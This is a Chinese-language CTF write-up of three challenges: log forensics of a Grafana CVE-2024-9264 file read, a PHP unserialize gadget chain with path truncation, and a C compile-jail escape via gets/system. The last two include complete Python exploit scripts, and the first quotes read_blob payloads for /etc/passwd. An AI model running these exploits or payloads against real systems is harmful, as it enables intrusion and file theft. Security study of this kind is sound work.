2026-Mid Night flag CTF 部分wp记录

Forensic

Duke’s DBar

题目描述

In every case, investigators find the same afterimage: the victim’s accounts are briefly used to access their own infrastructure, as if the killer wanted someone to watch what he did next. Then everything goes quiet again.
在所有案件中,调查人员都发现了相同的痕迹:受害者的账户会被短暂地用于访问自己的基础设施,仿佛凶手想让别人监视他接下来的行动。之后一切又恢复了平静。

Last night, a Grafana monitoring instance tied to a victim’s environment was exposed to the Internet for a short window. During that time, a local file was exfiltrated using a recent vulnerability.
昨晚,与受害者环境关联的 Grafana 监控实例短暂暴露在互联网上。在此期间,攻击者利用最近发现的一个漏洞窃取了一个本地文件。

You recovered only two artifacts from the incident window:
您仅从事件窗口中恢复了两个工件:

Provided artifacts  提供的文物

  • grafana.log
  • grafana.db

The attacker blended into background monitoring activity and Internet noise. Your task is to isolate the malicious actions and reconstruct the truth.
攻击者混入了后台监控活动和网络噪音中。你的任务是找出恶意行为并还原真相。

Objectives  目标

Find:  寻找:

  1. The CVE identifier of the vulnerability used.
    所用漏洞的 CVE 标识符 。
  2. The full path of the exfiltrated file.
    被窃取文件的完整路径 。
  3. The attacker’s source IP address.
    攻击者的源 IP 地址 。
  4. The Grafana username (login) that carried out the malicious actions.
    执行恶意操作的 Grafana 用户名 (登录名)。

Flag format  旗帜格式

MCTF{CVE-XXXX-XXXXX:path:ip:username}

解题过程

题目类型

  • Grafana 取证
  • 核心漏洞:Grafana SQL Expressions 本地文件读取 / LFI(CVE-2024-9264
  • 关键证据:启动参数启用 sqlExpressions,日志中出现 read_blob(...),再结合认证日志和数据库完成归因
  • 最终结果:读取 /var/lib/grafana/ctf/secret.csv,攻击源为 85.215.144.254,账号为 editor2

解题思路

  1. 先看 Grafana 启动参数和 feature toggles,确认实例暴露了什么攻击面。
  2. 再找与该攻击面匹配的强特征利用痕迹。
  3. 最后围绕恶意动作归因 IP 和用户。

之所以第一步先看启动参数,是因为这部分信息通常出现在日志开头,噪声低、信息密度高,而且直接决定哪些漏洞在当前实例上可能成立。对这题来说,最难直接从日志里读出来的是 CVE,所以必须先找漏洞类别特征,再把它映射到具体漏洞编号。

步骤 1:先确认实例暴露了什么

先看日志开头的配置和 feature toggles:

rg -n "GF_FEATURE_TOGGLES_ENABLE|sqlExpressions" grafana.log

可以命中:

14:logger=settings ... var="GF_FEATURE_TOGGLES_ENABLE=sqlExpressions"

这说明该实例启用了 SQL Expressions

题面又明确说“攻击者利用最近发现的一个漏洞窃取了一个本地文件”,于是可以先形成待验证假设:

  • 这次攻击和 SQL Expressions 有关。
  • 攻击效果是本地文件读取。
  • 日志里应出现 SQL Expression / DuckDB 文件读取相关痕迹。

接着查官方漏洞公告,可以把这个攻击面映射到具体漏洞:Grafana 官方在 2024-10-17 公布的 CVE-2024-9264 正是 SQL Expressions 相关漏洞,影响包括命令执行与本地文件包含 / 本地文件读取。NVD 对该漏洞的描述与官方公告一致。

参考:

所以本题中的漏洞编号可以锁定为:

CVE-2024-9264

步骤 2:定位实际的文件读取语句

既然已经怀疑是 SQL Expressions 文件读取,就不需要盲搜所有请求,而是直接找对应的特征 read_blob(...)

rg -n "read_blob\(" grafana.log

命中两条关键记录:

3932:... "expression":"SELECT content FROM read_blob('/etc/passwd')" ...
3943:... "expression":"SELECT content FROM read_blob('/var/lib/grafana/ctf/secret.csv')" ...

这里有两个文件:

  • /etc/passwd 更像是漏洞探测,用来验证本地文件读取是否存在。
  • /var/lib/grafana/ctf/secret.csv 才更符合题目中“被窃取文件”的描述。

因此,被窃取文件完整路径应为:

/var/lib/grafana/ctf/secret.csv

步骤 3:围绕恶意动作归因 IP 和内部用户 ID

接下来围绕这两条 read_blob(...) 记录去看前后认证上下文:

sed -n '3918,3948p' grafana.log

可以看到恶意查询附近的关键日志:

3926:... Seen token ... userID=5 clientIP=85.215.144.254 ...
3932:... SELECT content FROM read_blob('/etc/passwd')
3940:... Seen token ... userID=5 clientIP=85.215.144.254 ...
3943:... SELECT content FROM read_blob('/var/lib/grafana/ctf/secret.csv')

由此可以直接还原出:

  • 两次恶意查询都绑定到 userID = 5
  • 对应的源 IP 为 85.215.144.254
  • User-Agent 为 python-requests/2.31.0

所以真正执行本地文件读取利用的是:

IP = 85.215.144.254
userID = 5

步骤 4:用数据库把内部 ID 还原成 Grafana 用户名

有了 userID = 5 后,再查 grafana.db 里的 user 表:

sqlite3 -header -column grafana.db "select id,login,name from user where id=5;"

结果为:

id  login    name
5 editor2 editor2

因此,执行恶意操作的 Grafana 用户名是:

editor2

最终结果

  • CVE:CVE-2024-9264
  • 文件:/var/lib/grafana/ctf/secret.csv
  • 攻击源 IP:85.215.144.254
  • 用户名:editor2

最终 flag:

MCTF{CVE-2024-9264:/var/lib/grafana/ctf/secret.csv:85.215.144.254:editor2}

Web

Clash Of Flans   法兰斯之战

题目描述

A new app featuring mysterious underground fights has emerged. Try to uncover the secrets it hides.
一款以神秘地下格斗为主题的新应用横空出世。试着揭开它隐藏的秘密吧。

解题过程

题目类型

  • PHP Web
  • 核心漏洞:Cookie 反序列化 + Cookie 数组绕过黑名单 + 魔术方法调用链 + 路径截断文件读取
  • 最终效果:任意读取容器内文件,拿到 /flag.txt

src/Baker.php 中:

public static function load($bakerName)
{
$baker = new Baker($bakerName);
if (getCookie("flans")) {
$data = unserialize(getCookie("flans"));

if ($data !== false && is_array($data)) {
$baker->flans = $data['flans'] ?? [];
}
}
return $baker;
}

flans Cookie 完全可控,并且直接 unserialize(),这就是利用起点。

src/index.php 中:

if (is_bad($_COOKIE["flans"])) {
die("No cooking here!");
}

src/functions.php 中:

function is_bad($param)
{
$blacklist = array(
'Clash',
'Baker'
);

foreach ($blacklist as $word) {
if (strpos($param, $word) != false) {
return true;
}
}
return false;
}

这里有两个问题:

  1. 只检查了 $_COOKIE["flans"],没有考虑 $_COOKIE["flans"][0] 这种数组形式。
  2. 在 PHP 7.4 下,strpos(array, "...") 只会报 warning,不会终止执行。

所以可以这样发 Cookie:

Cookie: flans[0]=<serialized_payload>

这样会产生如下效果:

  • is_bad($_COOKIE["flans"]) 收到数组,只报 warning,绕过黑名单。
  • getCookie("flans") 经过 flatten() 后,又会把数组 implode() 回字符串,继续进入 unserialize()

关键点 3:魔术方法调用链

页面会遍历玩家拥有的 flan,并输出:

echo "<li class='flan-item'>🍮 {$flan->getName()} ... </li>";

如果把 Flan 对象的 name 属性替换成一个 Clash 对象,那么在字符串上下文里会触发 Clash::__toString()

public function __toString()
{
return $this->getSummary();
}

Clash::getSummary() 中又存在一段可利用逻辑:

public function getSummary()
{
$side = getParam("side");
$side = $side ? $this->flan1->$side : "red";
return "Clash: {$this->flan1->getName()} ({$side} side) vs {$this->flan2->getName()} | Winner: {$this->winnerName} | Details: {$this->resultDetails}";
}

如果令:

  • side=ClashSummaryByUuid
  • flan1 为一个 Baker 对象

那么实际会访问:

$this->flan1->ClashSummaryByUuid

由于 Baker 不存在这个属性,会进入 Baker::__get()

public function __get($name)
{
if (getParam("args")) {
$args = explode(",", getParam("args"));
}
return call_user_func_array(array($this, "get" . $name), $args);
}

于是最终调用到:

$this->getClashSummaryByUuid($args[0])

关键点 4:路径截断导致任意文件读取

src/Baker.php 中的目标函数如下:

public static function getClashSummaryByUuid($uuid)
{
global $CLASH_DIR;

$file = joinpath($CLASH_DIR . '/' . $uuid . '.cof');
$file = substr($file, 0, 100); // Should be enough
if (file_exists($file)) {
return file_get_contents($file);
}
return null;
}

问题在于:

  • 前面拼接了 records/.cof
  • 但后面又做了 substr($file, 0, 100)

所以只要构造一个足够长的路径,让前 100 个字符刚好停在目标文件名结尾,多出来的 .cof 就会被截掉。

最终使用的稳定路径是:

args=../../../../../../../../../../../../../../../../../../../../../../../proc/thread-self/root/proc/thread-self/root/flag.txt

也就是:

("../" * 17) + "proc/thread-self/root/proc/thread-self/root/flag.txt"

原因是:

  • joinpath() 只做词法归一化,不解析符号链接。
  • /proc/thread-self/root 在文件系统解析阶段会跳回当前线程所属进程的根目录 /
  • 连续使用两次 /proc/thread-self/root 后,最终读到的仍然是 /flag.txt
  • 该后缀长度恰好能和前面的 ../ 对齐,使 100 字符截断正好落在 flag.txt 末尾。

利用步骤

  1. 先 POST 一个任意 baker_name,拿到 PHPSESSID
  2. 构造恶意序列化数据,使:
    • Flan.name = Clash
    • Clash.flan1 = Baker
  3. 发送 Cookie: flans[0]=<payload>,绕过黑名单并触发反序列化。
  4. 设置:
    • side=ClashSummaryByUuid
    • args=("../" * 17) + "proc/thread-self/root/proc/thread-self/root/flag.txt"
  5. 页面渲染 flan 名称时触发整条调用链,最终把 /flag.txt 内容回显到页面中。

EXP

#!/usr/bin/env python3
import argparse
import random
import re
import string
import sys
import urllib.parse
import urllib.request


def php_str(value: str) -> str:
return f's:{len(value)}:"{value}";'


def php_int(value: int) -> str:
return f"i:{value};"


def php_array(items) -> str:
chunks = []
for index, value in enumerate(items):
chunks.append(php_int(index))
chunks.append(value)
return f'a:{len(items)}:{{' + "".join(chunks) + "}"


def php_object(class_name: str, properties) -> str:
chunks = []
for key, value in properties.items():
chunks.append(php_str(key))
chunks.append(value)
return f'O:{len(class_name)}:"{class_name}":{len(properties)}:{{' + "".join(chunks) + "}"


def build_payload(baker_name: str) -> str:
baker = php_object(
"Baker",
{
"\x00*\x00name": php_str(baker_name),
"\x00*\x00flans": "a:0:{}",
},
)
opponent = php_object(
"Flan",
{
"\x00*\x00name": php_str("enemy"),
"\x00*\x00size": php_int(8),
"\x00*\x00weight": php_int(2),
"\x00*\x00sturdiness": php_int(4),
},
)
clash = php_object(
"Clash",
{
"\x00*\x00flan1": baker,
"\x00*\x00flan2": opponent,
"\x00*\x00winnerName": php_str("winner"),
"\x00*\x00resultDetails": php_str("details"),
},
)
flan = php_object(
"Flan",
{
"\x00*\x00name": clash,
"\x00*\x00size": php_int(1),
"\x00*\x00weight": php_int(1),
"\x00*\x00sturdiness": php_int(1),
},
)
return 'a:1:{s:5:"flans";a:1:{i:0;' + flan + "}}"


def random_baker_name() -> str:
suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
return f"chef_{suffix}"


def build_aligned_path(suffix: str) -> str:
total = 103 - len(suffix)
if total <= 0 or total % 3 != 0:
raise ValueError(f"Suffix length is not alignable: {suffix}")
return "../" * (total // 3) + suffix


def build_target_path() -> str:
return build_aligned_path("proc/thread-self/root/proc/thread-self/root/flag.txt")


def bootstrap_session(base_url: str, baker_name: str):
data = urllib.parse.urlencode({"baker_name": baker_name}).encode()
request = urllib.request.Request(base_url, data=data)
with urllib.request.urlopen(request, timeout=5) as response:
cookie_headers = response.headers.get_all("Set-Cookie") or []

for header in cookie_headers:
match = re.search(r"PHPSESSID=([^;]+)", header)
if match:
return match.group(1)
raise RuntimeError("Failed to obtain PHPSESSID.")


def extract_side(body: str, baker_name: str):
pattern = re.compile(
rf"Clash: {re.escape(baker_name)} \((.*?) side\) vs enemy \| Winner: winner \| Details: details",
re.S,
)
match = pattern.search(body)
if not match:
return None
return match.group(1)


def leak_flag(base_url: str, baker_name: str, session_id: str, payload: str, target_path: str):
params = urllib.parse.urlencode(
{
"side": "ClashSummaryByUuid",
"args": target_path,
}
)
request = urllib.request.Request(f"{base_url}?{params}")
cookie = f"PHPSESSID={session_id}; flans[0]={urllib.parse.quote(payload, safe='')}"
request.add_header("Cookie", cookie)

with urllib.request.urlopen(request, timeout=5) as response:
body = response.read().decode("utf-8", "ignore")

side = extract_side(body, baker_name)
if side is None:
return None

side = side.strip()
if not side or "Warning" in side or "Fatal error" in side:
return None
return side


def normalize_base_url(raw_url: str) -> str:
return raw_url.rstrip("/") + "/"


def main():
parser = argparse.ArgumentParser(description="ClashOfFlans file read exploit")
parser.add_argument("url", help="Target base URL, e.g. http://127.0.0.1:1337")
parser.add_argument("--baker", default=None, help="Custom baker name")
args = parser.parse_args()

base_url = normalize_base_url(args.url)
baker_name = args.baker or random_baker_name()
payload = build_payload(baker_name)
target_path = build_target_path()

try:
session_id = bootstrap_session(base_url, baker_name)
except Exception as exc:
print(f"[-] Bootstrap failed: {exc}", file=sys.stderr)
return 1

print(f"[*] Baker: {baker_name}")
print(f"[*] PHPSESSID: {session_id}")

try:
result = leak_flag(base_url, baker_name, session_id, payload, target_path)
except Exception as exc:
print(f"[!] Request failed: {exc}", file=sys.stderr)
return 1

if result is None:
print("[-] Flag not found.", file=sys.stderr)
return 1

print(f"[+] {result}")
return 0


if __name__ == "__main__":
raise SystemExit(main())

总结

这题的核心是四个问题串联:

  1. Cookie 可控数据直接反序列化。
  2. 黑名单只检查标量,未考虑 Cookie 数组。
  3. ClashBaker 的魔术方法可以组合成调用链。
  4. 文件路径拼接后再截断,导致 .cof 后缀可被裁掉。

因此最终形成稳定的任意文件读取,并可直接读取 /flag.txt

Misc

Pixels Perfect

题目描述

A simple challenge to test your knowledge in C programming. You have to escape the jail and get the flag.
这是一个简单的挑战,旨在测试你的 C 语言编程知识。你需要逃出监狱并获取 flag

解题过程

题目类型

  • Misc / Jail Escape
  • 核心问题:用户输入被直接拼进 int main(){...} 后用 GCC 编译执行
  • 过滤器缺陷:禁了普通空格,但没有禁 tab
  • 最终效果:借助 gets + system 实现两阶段命令执行,直接读取随机文件名的 flag

解题思路

这里的输入会被直接拼进:

int main()
{
<user_input>
}

所以只要还能构造出一段合法 C 语句,题目就等价于“受限字符集下的代码注入”。我的思路是

  1. 先确认到底禁了哪些字符,哪些语法元素还活着。
  2. 再判断 GCC 在当前编译参数下是否允许老式函数声明。
  3. 最后看编译后的程序是否还能继续从标准输入读第二阶段数据。

关键点 1:过滤器只禁了空格,没有禁 tab

题目核心代码如下:

print("Input your code (1 line)")
code = input("> ")

banned_char = "#[]<>#%$:_ '\"*=,?\\/|0123456789-+"

if any(c in banned_char for c in code):
print("You can't use those characters!")
exit(1)

被禁掉的字符很多,但有几个仍然可用:

  • 字母
  • 分号 ;
  • 圆括号 ()
  • 花括号 {}
  • 取地址符 &
  • tab

C 语言把 tab 也当作空白字符处理,因此虽然普通空格被拦了,这种写法仍然合法:

int	gets();
int system();
char c;

这一点是整题最关键的突破口。

关键点 2:GCC 在当前参数下允许老式函数声明

编译命令是:

["gcc", "-B/usr/bin", "-w", "-O3", "-o", compiled_path, src_path]

这里有两个值得注意的地方:

  1. 没有显式加更严格的标准限制。
  2. 使用了 -w,直接吞掉了警告。

因此可以直接写这种老式声明:

int	gets();
int system();

然后把第二阶段输入交给它们:

char	c;
gets(&c);
system(&c);

拼起来就是最终 payload:

int	gets();int	system();char	c;gets(&c);system(&c);

这段 payload 的语义非常直接:

  1. 再从标准输入读一行字符串。
  2. 把这行字符串当 shell 命令执行。

关键点 3:题目本质上是两阶段交互

  1. 第一阶段:输入一行 C 代码,服务端编译并运行。
  2. 第二阶段:编译后的程序继续从标准输入读数据。

因此这样利用:

  1. 先发送 payload
  2. 等服务端完成编译并进入运行态
  3. 再发送命令,例如 cat /flag-*

这里还有一个容易踩的坑:如果本地直接用单次管道把 payload 和命令一起灌进去,Python 的 input() 可能会预读后续输入,导致编译后的程序拿不到第二阶段命令。所以自动化脚本必须按交互式两阶段来写。

关键点 4:flag 文件名是随机的

Dockerfile 中会把 flag 改名后丢到根目录:

COPY ./challenge/flag.txt /flag.txt
RUN mv /flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1).txt

因此最终不能写死去读 /flag.txt,而应该直接:

cat /flag-*

这样无论实际文件名是什么,都能稳定读出来。

利用步骤

  1. 连接远端服务,等待 > 提示。
  2. 发送第一阶段 payload:
int	gets();int	system();char	c;gets(&c);system(&c);
  1. 等待编译结束,程序进入执行态。
  2. 发送第二阶段命令:
cat /flag-*
  1. 服务端执行 system("cat /flag-*"),直接把 flag 回显出来。

EXP

#!/usr/bin/env python3
import argparse
import re
import socket
import sys
import time


PAYLOAD = "int\tgets();int\tsystem();char\tc;gets(&c);system(&c);"
DEFAULT_COMMAND = "cat /flag-*"
FLAG_PATTERN = re.compile(r"[A-Za-z0-9_]{2,}\{[^}\r\n]+\}")


def parse_target(raw: str) -> tuple[str, int]:
text = raw.strip()
if not text:
raise ValueError("empty target")

if text.startswith("nc "):
parts = text.split()
if len(parts) != 3:
raise ValueError("invalid nc target format")
return parts[1], int(parts[2])

if text.startswith("tcp://"):
text = text[len("tcp://") :]

if ":" in text:
host, port = text.rsplit(":", 1)
return host.strip(), int(port.strip())

raise ValueError("target must look like host:port or 'nc host port'")


def recv_until(sock: socket.socket, markers: tuple[str, ...], timeout: float) -> str:
deadline = time.time() + timeout
chunks: list[str] = []

while time.time() < deadline:
try:
data = sock.recv(4096)
except socket.timeout:
continue

if not data:
break

text = data.decode("latin1", errors="replace")
chunks.append(text)
merged = "".join(chunks)
if any(marker in merged for marker in markers):
return merged

return "".join(chunks)


def recv_briefly(sock: socket.socket, timeout: float, idle_timeout: float) -> str:
deadline = time.time() + timeout
idle_deadline = time.time() + idle_timeout
chunks: list[str] = []

while time.time() < deadline:
try:
data = sock.recv(4096)
except socket.timeout:
if time.time() >= idle_deadline:
break
continue

if not data:
break

chunks.append(data.decode("latin1", errors="replace"))
idle_deadline = time.time() + idle_timeout

return "".join(chunks)


def recv_remaining(sock: socket.socket, timeout: float) -> str:
deadline = time.time() + timeout
chunks: list[str] = []

while time.time() < deadline:
try:
data = sock.recv(4096)
except socket.timeout:
continue

if not data:
break

chunks.append(data.decode("latin1", errors="replace"))
if FLAG_PATTERN.search(chunks[-1]) or FLAG_PATTERN.search("".join(chunks)):
break

return "".join(chunks)


def exploit(host: str, port: int, command: str, timeout: float) -> str:
with socket.create_connection((host, port), timeout=timeout) as sock:
sock.settimeout(0.5)

banner = recv_until(sock, ("> ",), timeout)
if "> " not in banner:
raise RuntimeError(f"did not receive input prompt, got: {banner!r}")

sock.sendall((PAYLOAD + "\n").encode())
compile_output = recv_briefly(sock, timeout=timeout, idle_timeout=1.0)
if "Oops, there were some compilation errors!" in compile_output:
raise RuntimeError("payload failed to compile")
if "You can't use those characters!" in compile_output:
raise RuntimeError("payload was blocked by the filter")

sock.sendall((command + "\n").encode())
result = recv_remaining(sock, timeout)
return banner + compile_output + result


def main() -> int:
parser = argparse.ArgumentParser(description="Exploit for Pixel Perfect")
parser.add_argument("target", nargs="?", help="host:port, tcp://host:port, or 'nc host port'")
parser.add_argument("--command", default=DEFAULT_COMMAND, help="command executed by system(), default: %(default)s")
parser.add_argument("--timeout", type=float, default=10.0, help="network timeout in seconds")
args = parser.parse_args()

target = args.target or input("Target (host:port / nc host port): ").strip()

try:
host, port = parse_target(target)
except ValueError as exc:
print(f"[-] Invalid target: {exc}", file=sys.stderr)
return 1

print(f"[+] Connecting to {host}:{port}")
print(f"[+] Stage 1 payload: {PAYLOAD}")
print(f"[+] Stage 2 command: {args.command}")

try:
output = exploit(host, port, args.command, args.timeout)
except Exception as exc:
print(f"[-] Exploit failed: {exc}", file=sys.stderr)
return 1

flag_match = FLAG_PATTERN.search(output)
if flag_match:
print(f"[+] Flag: {flag_match.group(0)}")
else:
print("[!] Flag pattern not found, raw output follows:")
print(output)

return 0


if __name__ == "__main__":
raise SystemExit(main())

最终结果

拿到的 flag 为:

MCTF{C_1s_V3ry_P0w3rful_4nd_4LL_H15_53Cr3ts_4r3_S4f3_H3r3_1n_th3_M1ghTy_C0d3}

总结

这题本质上是一个受限字符集下的 C 代码注入题。核心利用链只有四步:

  1. 用户输入被直接拼进 main 函数体。
  2. 黑名单漏掉了 tab,因此仍可写出合法声明。
  3. GCC 在当前参数下允许老式 gets/system 声明并正常链接。
  4. 编译后的程序还能继续从标准输入读取第二阶段命令。

因此最终可以稳定实现任意命令执行,并通过 cat /flag-* 直接读取随机文件名的 flag。

记录

第一次专门去打CTF-times上的题目,只做出来了这些比较简单的题,被师妹直接带飞,以后应该也会多打一些CTF-times上的CTF了